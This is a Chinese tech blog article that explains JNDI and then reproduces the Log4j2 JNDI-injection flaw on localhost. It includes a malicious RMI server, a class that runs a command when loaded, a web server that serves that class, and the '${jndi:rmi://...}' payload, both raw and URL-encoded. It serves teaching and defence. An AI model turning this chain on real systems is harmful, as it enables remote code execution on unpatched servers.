Log4j史詩級漏洞,從原理到實戰,只用3個實例就搞明白!
本文轉載自微信公眾號「程序新視界」,作者二師兄。轉載本文請聯系程序新視界公眾號。
背景
最近互聯網技術圈最火的一件事莫過于Log4j2的漏洞了。同時也涌現出了各類分析文章,關于漏洞的版本、漏洞的原因、漏洞的修復、程序員因此加班等等。
經常看我文章的朋友都知道,面對這樣熱門有意思的技術點,怎能錯過深入分析一波呢?大概你也已經聽說了,造成漏洞的”罪魁禍首“是JNDI,今天我們就聊它。
JNDI,好熟悉,但……熟悉的陌生人?JNDI到底是個什么鬼?好吧,如果你已經有一兩年的編程經驗,但還不了解JNDI,甚至沒聽說過。那么,要么趕緊換工作,要么趕緊讀讀這篇文章。
JNDI是個什么鬼?
說起JNDI,從事Java EE編程的人應該都在用著,但知不知道自己在用,那就看你對技術的鉆研深度了。這次Log4j2曝出漏洞,不正說明大量項目或直接或間接的在用著JNDI。來看看JNDI到底是個什么鬼吧?
先來看看Sun官方的解釋:
Java命名和目錄接口(Java Naming and Directory Interface ,JNDI)是用于從Java應用程序中訪問名稱和目錄服務的一組API。命名服務即將名稱與對象相關聯,以便能通過相應名稱訪問這些對象。而目錄服務即其對象具有屬性及名稱的命名服務。
命名或目錄服務允許你集中管理共享信息的存儲,這在網絡應用程序中很重要,因為它可以使這類應用程序更加一致和易于管理。例如,可以將打印機配置存儲在目錄服務中,這樣所有與打印機相關的應用程序都能夠使用它。
概念是不是很抽象,讀了好幾遍都沒懂?一圖勝千言:
naming_service
看著怎么有點注冊中心的意思?是的,如果你使用過Nacos或讀過Nacos的源碼,Naming Service這個概念一定很熟悉。在JNDI中,雖然實現方式不同、應用場景不同,但并不影響你通過類比注冊中心的方式來理解JNDI。
如果你說沒用過Nacos,那好,Map總用過吧。忽略掉JNDI與Map底層實現的區別,JNDI提供了一個類似Map的綁定功能,然后又提供了基于lookup或search之類的方法來根據名稱查找Object,好比Map的get方法。
總之,JNDI就是一個規范,規范就需要對應的API(也就是一些Java類)來實現。通過這組API,可以將Object(對象)和一個名稱進行關聯,同時提供了基于名稱查找Object的途徑。
最后,對于JNDI,SUN公司只是提供了一個接口規范,具體由對應的服務器來實現。比如,Tomcat有Tomcat的實現方式,JBoss有JBoss的實現方式,遵守規范就好。
命名服務與目錄服務的區別
命名服務就是上面提到的,類似Map的綁定與查找功能。比如:在Internet中的域名服務(domain naming service,DNS),就是提供將域名映射到IP地址的命名服務,在瀏覽器中輸入域名,通過DNS找到相應的IP地址,然后訪問網站。
目錄服務是對命名服務的擴展,是一種特殊的命名服務,提供了屬性與對象的關聯和查找。一個目錄服務通常擁有一個命名服務(但是一個命名服務不必具有一個目錄服務)。比如電話簿就是一個典型的目錄服務,一般先在電話簿里找到相關的人名,再找到這個人的電話號碼。
目錄服務允許屬性(比如用戶的電子郵件地址)與對象相關聯(而命名服務則不然)。這樣,使用目錄服務時,可以基于對象的屬性來搜索它們。
JNDI架構分層
JNDI通常分為三層:
- JNDI API:用于與Java應用程序與其通信,這一層把應用程序和實際的數據源隔離開來。因此無論應用程序是訪問LDAP、RMI、DNS還是其他的目錄服務,跟這一層都沒有關系。
- Naming Manager:也就是我們提到的命名服務;
- JNDI SPI(Server Provider Interface):用于具體到實現的方法上。
整體架構分層如下圖:
JNDI架構
需要注意的是:JNDI同時提供了應用程序編程接口(Application Programming Interface ,API)和服務提供程序接口(Service Provider Interface ,SPI)。
這樣做對于與命名或目錄服務交互的應用程序來說,必須存在一個用于該服務的JNDI服務提供程序,這便是JNDI SPI發揮作用的舞臺。
一個服務提供程序基本上就是一組類,對特定的命名和目錄服務實現了各種JNDI接口——這與JDBC驅動程序針對特定的數據系統實現各種JDBC接口極為相似。作為開發人員,不需要擔心JNDI SPI。只需確保為每個要使用的命名或目錄服務提供了一個服務提供程序即可。
JNDI的應用
下面再了解一下JNDI容器的概念及應用場景。
JNDI容器環境
JNDI中的命名(Naming),就是將Java對象以某個名稱的形式綁定(binding)到一個容器環境(Context)中。當使用時,調用容器環境(Context)的查找(lookup)方法找出某個名稱所綁定的Java對象。
容器環境(Context)本身也是一個Java對象,它也可以通過一個名稱綁定到另一個容器環境(Context)中。將一個Context對象綁定到另外一個Context對象中,這就形成了一種父子級聯關系,多個Context對象最終可以級聯成一種樹狀結構,樹中的每個Context對象中都可以綁定若干個Java對象。
jndi-context-tree
JNDI 應用
JNDI的基本使用操作就是:先創建一個對象,然后放到容器環境中,使用的時候再拿出來。
此時,你是否疑惑,干嘛這么費勁呢?換句話說,這么費勁能帶來什么好處呢?
在真實應用中,通常是由系統程序或框架程序先將資源對象綁定到JNDI環境中,后續在該系統或框架中運行的模塊程序就可以從JNDI環境中查找這些資源對象了。
關于JDNI與我們實踐相結合的一個例子是JDBC的使用。在沒有基于JNDI實現時,連接一個數據庫通常需要:加載數據庫驅動程序、連接數據庫、操作數據庫、關閉數據庫等步驟。而不同的數據庫在對上述步驟的實現又有所不同,參數也可能發生變化。
如果把這些問題交由J2EE容器來配置和管理,程序就只需對這些配置和管理進行引用就可以了。
以Tomcat服務器為例,在啟動時可以創建一個連接到某種數據庫系統的數據源(DataSource)對象,并將該數據源(DataSource)對象綁定到JNDI環境中,以后在這個Tomcat服務器中運行的Servlet和JSP程序就可以從JNDI環境中查詢出這個數據源(DataSource)對象進行使用,而不用關心數據源(DataSource)對象是如何創建出來的。
JNDI-Tree
這種方式極大地增強了系統的可維護性,即便當數據庫系統的連接參數發生變更時,也與應用程序開發人員無關。JNDI將一些關鍵信息放到內存中,可以提高訪問效率;通過 JNDI可以達到解耦的目的,讓系統更具可維護性和可擴展性。
JNDI實戰
有了以上的概念和基礎知識,現在可以開始實戰了。
在架構圖中,JNDI的實現層中包含了多種實現方式,這里就基于其中的RMI實現來寫個實例體驗一把。
基于RMI的實現
RMI是Java中的遠程方法調用,基于Java的序列化和反序列化傳遞數據。
可以通過如下代碼來搭建一個RMI服務:
- // ①定義接口
- public interface RmiService extends Remote {
- String sayHello() throws RemoteException;
- }
- // ②接口實現
- public class MyRmiServiceImpl extends UnicastRemoteObject implements RmiService {
- protected MyRmiServiceImpl() throws RemoteException {
- }
- @Override
- public String sayHello() throws RemoteException {
- return "Hello World!";
- }
- }
- // ③服務綁定并啟動監聽
- public class RmiServer {
- public static void main(String[] args) throws Exception {
- Registry registry = LocateRegistry.createRegistry(1099);
- System.out.println("RMI啟動,監聽:1099 端口");
- registry.bind("hello", new MyRmiServiceImpl());
- Thread.currentThread().join();
- }
- }
上述代碼先定義了一個RmiService的接口,該接口實現了Remote,并對RmiService接口進行了實現。在實現的過程中繼承了UnicastRemoteObject的具體服務實現類。
最后,在RmiServer中通過Registry監聽1099端口,并將RmiService接口的實現類進行了綁定。
下面構建客戶端訪問:
- public class RmiClient {
- public static void main(String[] args) throws Exception {
- Hashtable env = new Hashtable();
- env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
- env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
- Context ctx = new InitialContext(env);
- RmiService service = (RmiService) ctx.lookup("hello");
- System.out.println(service.sayHello());
- }
- }
其中,提供了兩個參數Context.INITIAL_CONTEXT_FACTORY、Context.PROVIDER_URL,分別表示Context初始化的工廠方法和提供服務的url。
執行上述程序,就可以獲得遠程端的對象并調用,這樣就實現了RMI的通信。當然,這里Server和Client在同一臺機器,就用了”localhost“的,如果是遠程服務器,則替換成對應的IP即可。
構建攻擊
常規來說,如果要構建攻擊,只需偽造一個服務器端,返回惡意的序列化Payload,客戶端接收之后觸發反序列化。但實際上對返回的類型是有一定的限制的。
在JNDI中,有一個更好利用的方式,涉及到命名引用的概念javax.naming.Reference。
如果一些本地實例類過大,可以選擇一個遠程引用,通過遠程調用的方式,引用遠程的類。這也就是JNDI利用Payload還會涉及HTTP服務的原因。
RMI服務只會返回一個命名引用,告訴JNDI應用該如何去尋找這個類,然后應用則會去HTTP服務下找到對應類的class文件并加載。此時,只要將惡意代碼寫入static方法中,則會在類加載時被執行。
基本流程如下:
RMI攻擊流程
修改RmiServer的代碼實現:
- public class RmiServer {
- public static void main(String[] args) throws Exception {
- System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
- Registry registry = LocateRegistry.createRegistry(1099);
- System.out.println("RMI啟動,監聽:1099 端口");
- Reference reference = new Reference("Calc", "Calc", "http://127.0.0.1:8000/");
- ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
- registry.bind("hello", referenceWrapper);
- Thread.currentThread().join();
- }
- }
由于采用的Java版本較高,需先將系統變量com.sun.jndi.rmi.object.trustURLCodebase設置為true。
其中綁定的Reference涉及三個變量:
- className:遠程加載時所使用的類名,如果本地找不到這個類名,就去遠程加載;
- classFactory:遠程的工廠類;
- classFactoryLocation:工廠類加載的地址,可以是file://、ftp://、http:// 等協議;
此時,通過Python啟動一個簡單的HTTP監聽服務:
- 192:~ zzs$ python -m SimpleHTTPServer
- Serving HTTP on 0.0.0.0 port 8000 ...
打印日志,說明在8000端口進行了http的監聽。
對應的客戶端代碼修改為如下:
- public class RmiClient {
- public static void main(String[] args) throws Exception {
- System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
- Hashtable env = new Hashtable();
- env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
- env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
- Context ctx = new InitialContext(env);
- ctx.lookup("hello");
- }
- }
執行,客戶端代碼,發現Python監聽的服務打印如下:
- 127.0.0.1 - - [12/Dec/2021 16:19:40] code 404, message File not found
- 127.0.0.1 - - [12/Dec/2021 16:19:40] "GET /Calc.class HTTP/1.1" 404 -
可見,客戶端已經去遠程加載惡意class(Calc.class)文件了,只不過Python服務并沒有返回對應的結果而已。
進一步改造
上述代碼證明了可以通過RMI的形式進行攻擊,下面基于上述代碼和Spring Boot Web服務的形式進一步演示。通過JNDI注入+RMI的形式調用起本地的計算器。
上述的基礎代碼不變,后續只微調RmiServer和RmiClient類,同時添加一些新的類和方法。
第一步:構建攻擊類
創建一個攻擊類BugFinder,用于啟動本地的計算器:
- public class BugFinder {
- public BugFinder() {
- try {
- System.out.println("執行漏洞代碼");
- String[] commands = {"open", "/System/Applications/Calculator.app"};
- Process pc = Runtime.getRuntime().exec(commands);
- pc.waitFor();
- System.out.println("完成執行漏洞代碼");
- } catch (Exception e) {
- e.printStackTrace();
- }
- }
- public static void main(String[] args) {
- BugFinder bugFinder = new BugFinder();
- }
- }
本人是Mac操作系統,代碼中就基于Mac的命令實現方式,通過Java命令調用Calculator.app。同時,當該類被初始化時,會執行啟動計算器的命令。
將上述代碼進行編譯,存放在一個位置,這里單獨copy出來放在了”/Users/zzs/temp/BugFinder.class“路徑,以備后用,這就是攻擊的惡意代碼了。
第二步:構建Web服務器
Web服務用于RMI調用時返回攻擊類文件。這里采用Spring Boot項目,核心實現代碼如下:
- @RestController
- public class ClassController {
- @GetMapping(value = "/BugFinder.class")
- public void getClass(HttpServletResponse response) {
- String file = "/Users/zzs/temp/BugFinder.class";
- FileInputStream inputStream = null;
- OutputStream os = null;
- try {
- inputStream = new FileInputStream(file);
- byte[] data = new byte[inputStream.available()];
- inputStream.read(data);
- os = response.getOutputStream();
- os.write(data);
- os.flush();
- } catch (Exception e) {
- e.printStackTrace();
- } finally {
- // 省略流的判斷關閉;
- }
- }
- }
在該Web服務中,會讀取BugFinder.class文件,并返回給RMI服務。重點提供了一個Web服務,能夠返回一個可執行的class文件。
第三步:修改RmiServer
對RmiServer的綁定做一個修改:
- public class RmiServer {
- public static void main(String[] args) throws Exception {
- System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
- Registry registry = LocateRegistry.createRegistry(1099);
- System.out.println("RMI啟動,監聽:1099 端口");
- Reference reference = new Reference("com.secbro.rmi.BugFinder", "com.secbro.rmi.BugFinder", "http://127.0.0.1:8080/BugFinder.class");
- ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
- registry.bind("hello", referenceWrapper);
- Thread.currentThread().join();
- }
- }
這里Reference傳入的參數就是攻擊類及遠程下載的Web地址。
第四步:執行客戶端代碼
執行客戶端代碼進行訪問:
- public class RmiClient {
- public static void main(String[] args) throws Exception {
- System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
- Hashtable env = new Hashtable();
- env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
- env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
- Context ctx = new InitialContext(env);
- ctx.lookup("hello");
- }
- }
本地計算器被打開:
RMI Client
基于Log4j2的攻擊
上面演示了基本的攻擊模式,基于上述模式,我們再來看看Log4j2的漏洞攻擊。
在Spring Boot項目中引入了log4j2的受影響版本:
- <dependency>
- <groupId>org.springframework.boot</groupId>
- <artifactId>spring-boot-starter-web</artifactId>
- <exclusions><!-- 去掉springboot默認配置 -->
- <exclusion>
- <groupId>org.springframework.boot</groupId>
- <artifactId>spring-boot-starter-logging</artifactId>
- </exclusion>
- </exclusions>
- </dependency>
- <dependency> <!-- 引入log4j2依賴 -->
- <groupId>org.springframework.boot</groupId>
- <artifactId>spring-boot-starter-log4j2</artifactId>
- </dependency>
這里需要注意,先排除掉Spring Boot默認的日志,否則可能無法復現Bug。
修改一下RMI的Server代碼:
- public class RmiServer {
- public static void main(String[] args) throws Exception {
- System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
- Registry registry = LocateRegistry.createRegistry(1099);
- System.out.println("RMI啟動,監聽:1099 端口");
- Reference reference = new Reference("com.secbro.rmi.BugFinder", "com.secbro.rmi.BugFinder", null);
- ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
- registry.bind("hello", referenceWrapper);
- Thread.currentThread().join();
- }
- }
這里直接訪問BugFinder,JNDI綁定名稱為:hello。
客戶端引入Log4j2的API,然后記錄日志:
- import org.apache.logging.log4j.LogManager;
- import org.apache.logging.log4j.Logger;
- public class RmiClient {
- private static final Logger logger = LogManager.getLogger(RmiClient.class);
- public static void main(String[] args) throws Exception {
- System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
- logger.error("${jndi:rmi://127.0.0.1:1099/hello}");
- Thread.sleep(5000);
- }
- }
日志中記錄的信息為“${jndi:rmi://127.0.0.1:1099/hello}”,也就是RMI Server的地址和綁定的名稱。
執行程序,發現計算器被成功打開。
當然,在實際應用中,logger.error中記錄的日志信息,可能是通過參數獲得,比如在Spring Boot中定義如下代碼:
- @RestController
- public class Log4jController {
- private static final Logger logger = LogManager.getLogger(Log4jController.class);
- /**
- * 方便測試,用了get請求
- * @param username 登錄名稱
- */
- @GetMapping("/a")
- public void log4j(String username){
- System.out.println(username);
- // 打印登錄名稱
- logger.info(username);
- }
- }
在瀏覽器中請求URL為:
- http://localhost:8080/a?username=%24%7Bjndi%3Armi%3A%2F%2F127.0.0.1%3A1099%2Fhello%7D
其中username參數的值就是“${jndi:rmi://127.0.0.1:1099/hello}”經過URLEncoder#encode編碼之后的值。此時,訪問該URL地址,同樣可以將打開計算器。
至于Log4j2內部邏輯漏洞觸發JNDI調用的部分就不再展開了,感興趣的朋友在上述實例上進行debug即可看到完整的調用鏈路。
小結
本篇文章通過對Log4j2漏洞的分析,不僅帶大家了解了JNDI的基礎知識,而且完美重現了一次基于JNDI的工具。本文涉及到的代碼都是本人親自實驗過的,強烈建議大家也跑一遍代碼,真切感受一下如何實現攻擊邏輯。
JNDI注入事件不僅在Log4j2中發生過,而且在大量其他框架中也有出現。雖然JDNI為我們帶來了便利,但同時也帶了風險。不過在實例中大家也看到在JDK的高版本中,不進行特殊設置(com.sun.jndi.rmi.object.trustURLCodebase設置為true),還是無法觸發漏洞的。這樣也多少讓人放心一些。
另外,如果你的系統中真的出現此漏洞,強烈建議馬上修復。在此漏洞未被報道之前,可能只有少數人知道。一旦眾人皆知,躍躍欲試的人就多了,趕緊防護起來吧。